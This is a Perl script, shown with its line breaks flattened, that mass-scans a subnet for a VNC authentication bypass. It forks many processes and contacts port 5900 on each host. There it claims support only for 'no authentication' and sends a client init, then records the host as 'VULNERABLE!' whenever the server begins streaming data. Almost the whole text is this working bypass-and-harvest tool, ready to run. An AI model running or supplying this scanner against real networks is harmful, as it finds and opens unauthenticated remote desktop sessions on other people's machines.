#!/usr/bin/perl # Multi-threaded scan for OpenVNC 4.11 authentication bypass. use strict; # why not? use warnings; use IO::Socket; use threads; use threads::shared; use Errno qw(EAGAIN); # Configuration variables use constant VNC_PORT => 5900; my $splits = 5; # Creates 2^N processes. my $avg_time = 5; # Tweak this to get better time estimates. our $subnet; our @results : shared; our $todo = 0; my $orig_thread = "yes"; my $start; my $end; my $time_estimate; my $elapsed = time; my $out_file; ++$|; # To watch as the results come in, in real time. $subnet = $ARGV[0] || ""; # Get subnet from command line, else ask for it. while (1) { last if $subnet =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.?\*?/; print "\nWhat subnet do you want to scan? "; chomp($subnet = <STDIN>); print "That does not look right. Enter something like 192.168.1.*\n\n"; } # Put the subnet in the form x.y.z. so we can just concatenate the hostnum. $subnet =~ s/^(\d{1,3}\.\d{1,3}\.\d{1,3}).*/$1/; $subnet .= "."; $out_file = "VNC_" . $subnet . "txt"; # Mostly a guesstimate $time_estimate = $avg_time * (256 / (2**$splits)); $time_estimate = int ($time_estimate / 60); $time_estimate += 4; print "\nScanning subnet ${subnet}x -- this should take approximately $time_estimate minute(s).\n"; print "[!] = Vulnerable, [*] = Safe, [.] = No response.\n\n"; CHECK: { unless ($splits >= 0 && $splits <= 8) { die "ERROR: Do not split $splits times--that makes no sense.\n"; } unless ($splits <= 5) { warn "Reduce the number of splits from $splits to 5 or less if you get memory errors.\n\n"; } } # Ugly, but this works. DivideWork() if $splits >= 1; DivideWork() if $splits >= 2; DivideWork() if $splits >= 3; DivideWork() if $splits >= 4; DivideWork() if $splits >= 5; DivideWork() if $splits >= 6; DivideWork() if $splits >= 7; DivideWork() if $splits >= 8; # Which IPs this thread scans. $start = $todo << (8 - $splits); $end = $start + (256 / (2**$splits)) - 1; foreach ($start .. $end) { Scan_VNC($_); } wait until $?; # Wait for children to finish. exit unless $orig_thread eq "yes"; # Only the original parent thread will continue. $elapsed = time - $elapsed; $elapsed /= 60; $elapsed = int $elapsed; print "\n\nFinished scanning ${subnet}x in $elapsed minute(s).\n"; SaveData(); exit; #################################### sub DivideWork { my $pid; FORK: { $todo *= 2; if ($pid = fork) { # Parent ++$todo; } elsif (defined $pid) { # Child $orig_thread = "no"; } elsif ($! == EAGAIN) { # Recoverable forking error. sleep 7; redo FORK; } else { # Unable to fork. die "Unable to fork: $!\n"; } } } sub SaveData { my $vulns = 0; open(FOUND, ">", $out_file) or die "Cannot open $out_file -- $!"; foreach my $IP (1..254) { my $record; $record = $results[$IP]; unless ($record =~ m/not vulnerable/io) { ++$vulns; print FOUND $record; } } print FOUND "\nVulnerabilites found: $vulns"; close(FOUND) or die "Cannot close $out_file -- $!"; print "Data saved to ${out_file}\n\n"; } sub Scan_VNC { # Scan for OpenVNC 4.11 authentication bypass. my $hostnum = shift; my $host = $subnet . $hostnum; my $sock; my $proto_ver; my $ignored; my $auth_type; my $sec_types; my $vnc_data; $host or die("ERROR: no host passed to Scan_VNC.\n"); # The host numbers .0 and .255 are reserved; ignore them. if ($hostnum <= 0 or $hostnum >= 255) { return; } # Format things nicely--that crazy formula just adds spaces. $results[$hostnum] = "$host"; $results[$hostnum] .= (" " x (4 - int(log($hostnum)/log(10)))) . " = "; unless ($sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => VNC_PORT, Proto => 'tcp',)) { $results[$hostnum] .= "Not vulnerable, no response.\n"; print "."; return; } # Negotiate protocol version. $sock->read($proto_ver, 12); print $sock $proto_ver; # Get supported security types and ignore them. $sock->read($sec_types, 1); $sock->read($ignored, unpack('C', $sec_types)); # Claim that we only support no authentication. print $sock "\x01"; # We should get "0000" back, indicating that they won't fall back to no authentication. $sock->read($auth_type, 4); if (unpack('I', $auth_type)) { $results[$hostnum] .= "Not vulnerable, refused to support authentication type.\n"; print "*"; close($sock); return; } # Client initialize. print $sock "\x01"; # If the server starts sending data, we're in. $sock->read($vnc_data, 4); if (unpack('I', $vnc_data)) { $results[$hostnum] .= "VULNERABLE! $proto_ver\n"; print "!"; } else { $results[$hostnum] .= "Not vulnerable, did not send data.\n"; print "*"; } close($sock); return; }
